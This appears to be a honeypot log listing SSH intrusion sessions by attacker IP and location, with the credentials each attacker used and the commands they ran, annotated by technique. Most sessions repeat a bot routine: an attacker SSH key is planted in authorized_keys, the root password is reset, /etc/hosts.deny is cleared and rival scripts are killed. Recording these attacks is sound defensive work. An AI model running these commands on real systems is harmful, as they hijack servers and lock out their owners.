$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:ayYu0Eg08iDB"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 samba_root_6 (189.15.10.179) — Uberlândia, Brazil · 1 session · 19 cmds

2026-07-06 21:03 EDT · as root/Qaz123321

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:rWBUp8KzagQx"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 bike_sol_4 (91.92.40.217) — Amsterdam, The Netherlands · 2 sessions · 2 cmds

2026-07-06 18:51 EDT · as guest/guest, root/1qaz!QAZ

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×2

🎭 phantom_root_30 (45.207.223.196) — Hong Kong, Hong Kong · 1 session · 1 cmd

2026-07-06 18:20 EDT · as root/1qaz!QAZ

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 phantom_root_22 (103.210.21.178) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-07-06 17:43 EDT · as ubuntu/root@123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "root@123\n6c3WBfbrDwaV\n6c3WBfbrDwaV"|passwd|bash

$ Enter new UNIX password:

$ echo "root@123\n6c3WBfbrDwaV\n6c3WBfbrDwaV\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rogue_root_32 (182.93.50.90) — Zhuojiacun, Macao · 1 session · 19 cmds

2026-07-06 16:53 EDT · as root/as123456

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:Dq5A4jImH4Cl"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 windmill_sol (45.156.87.204) — Eygelshoven, The Netherlands · 2 sessions · 2 cmds

2026-07-01 04:50 EDT · as root/admin, root/root

Ran uname 10x across 10 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×2

🎭 borscht_root_2 (81.177.101.45) — Moscow, Russia · 1 session · 20 cmds

2026-07-06 16:33 EDT · as db2inst2/db2inst2

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "db2inst2\nAjYJOgqbK4hH\nAjYJOgqbK4hH"|passwd|bash

$ Enter new UNIX password:

$ echo "db2inst2\nAjYJOgqbK4hH\nAjYJOgqbK4hH\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 ghost_root_23 (189.204.230.91) — Naucalpan, Mexico · 3 sessions · 58 cmds

2026-07-04 04:18 EDT · as db2inst2/db2inst2, root/kaixin123, root/passadmin123456

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×3 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×3 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×3 // CPU profiling

$ echo -e "db2inst2\nhASLGbSyMRjR\nhASLGbSyMRjR"|passwd|bash

$ Enter new UNIX password:

$ echo "db2inst2\nhASLGbSyMRjR\nhASLGbSyMRjR\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×3 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×3

$ ls -lh $(which ls) ×3

$ which ls ×3

$ crontab -l ×3 // persistence setup

$ w ×3 // logged-in users check

$ uname -m ×3

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×3 // CPU profiling

$ top ×3 // process monitoring

$ uname ×3 // OS identification

$ uname -a ×3 // OS/kernel identification

$ whoami ×3 // privilege check

$ lscpu | grep Model ×3

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×3

$ echo "root:bMOjVgkB40ne"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ echo "root:DT2iH3yWToe7"|chpasswd|bash

🎭 liberty_root_14 (74.115.172.118) — Tampa, United States · 1 session · 19 cmds

2026-07-06 16:23 EDT · as root/as123456

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo "root:G4I1GBRAXCXM"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 specter_root_31 (152.32.171.213) — Hong Kong, Hong Kong · 1 session · 20 cmds

2026-07-06 16:18 EDT · as db2inst2/db2inst2

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "db2inst2\nrr4YbmGNEvWE\nrr4YbmGNEvWE"|passwd|bash

$ Enter new UNIX password:

$ echo "db2inst2\nrr4YbmGNEvWE\nrr4YbmGNEvWE\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 phantom_root_14 (102.213.34.99) — Talatona, Angola · 2 sessions · 38 cmds

2026-07-06 15:37 EDT · as root/Cloud@2026, root/zaq@12345

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:5PpQDeIezbV4"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:LfdzxXQg0Eqa"|chpasswd|bash

🎭 specter_root_22 (101.32.1.25) — Hong Kong, Hong Kong · 2 sessions · 38 cmds

2026-07-06 15:36 EDT · as root/Cloud@2026, root/zaq@12345

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:IGekWpWWguqj"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:N3QKcPs4pQCq"|chpasswd|bash

🎭 ghost_root_31 (145.241.110.216) — Riyadh, Saudi Arabia · 2 sessions · 38 cmds

2026-07-06 15:39 EDT · as root/Cloud@2026, root/zaq@12345

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:XxER2lGhTWRq"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:DxOrBiPXSzB7"|chpasswd|bash

🎭 liberty_root_10 (38.148.249.2) — Los Angeles, United States · 2 sessions · 38 cmds

2026-07-06 14:42 EDT · as root/admin@321, root/welcome@2025

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:fBsKJmu5IfSu"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:bLfKhWwgFEEM"|chpasswd|bash

🎭 tsar_root_4 (88.206.10.187) — Chelyabinsk, Russia · 2 sessions · 38 cmds

2026-07-06 14:40 EDT · as root/admin@321, root/welcome@2025

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2 // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2 // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2 // CPU profiling

$ echo "root:54JX0YVuXPzy"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2 // execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2 // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2 // persistence setup

$ w ×2 // logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2 // CPU profiling

$ top ×2 // process monitoring

$ uname ×2 // OS identification

$ uname -a ×2 // OS/kernel identification

$ whoami ×2 // privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:yaysAWOQSIei"|chpasswd|bash

🎭 tsar_root (194.190.153.226) — Moscow, Russia · 1 session · 20 cmds

2026-07-06 14:33 EDT · as ubuntu/Aa1234567890@

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ cd ~; chattr -ia .ssh; lockr -ia .ssh // file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ // SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l // CPU profiling

$ echo -e "Aa1234567890@\nLPmQJYdV8y3j\nLPmQJYdV8y3j"|passwd|bash

$ Enter new UNIX password:

$ echo "Aa1234567890@\nLPmQJYdV8y3j\nLPmQJYdV8y3j\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' // CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l // persistence setup

$ w // logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l // CPU profiling

$ top // process monitoring

$ uname // OS identification

$ uname -a // OS/kernel identification

$ whoami // privilege check

$ lscpu | grep Model

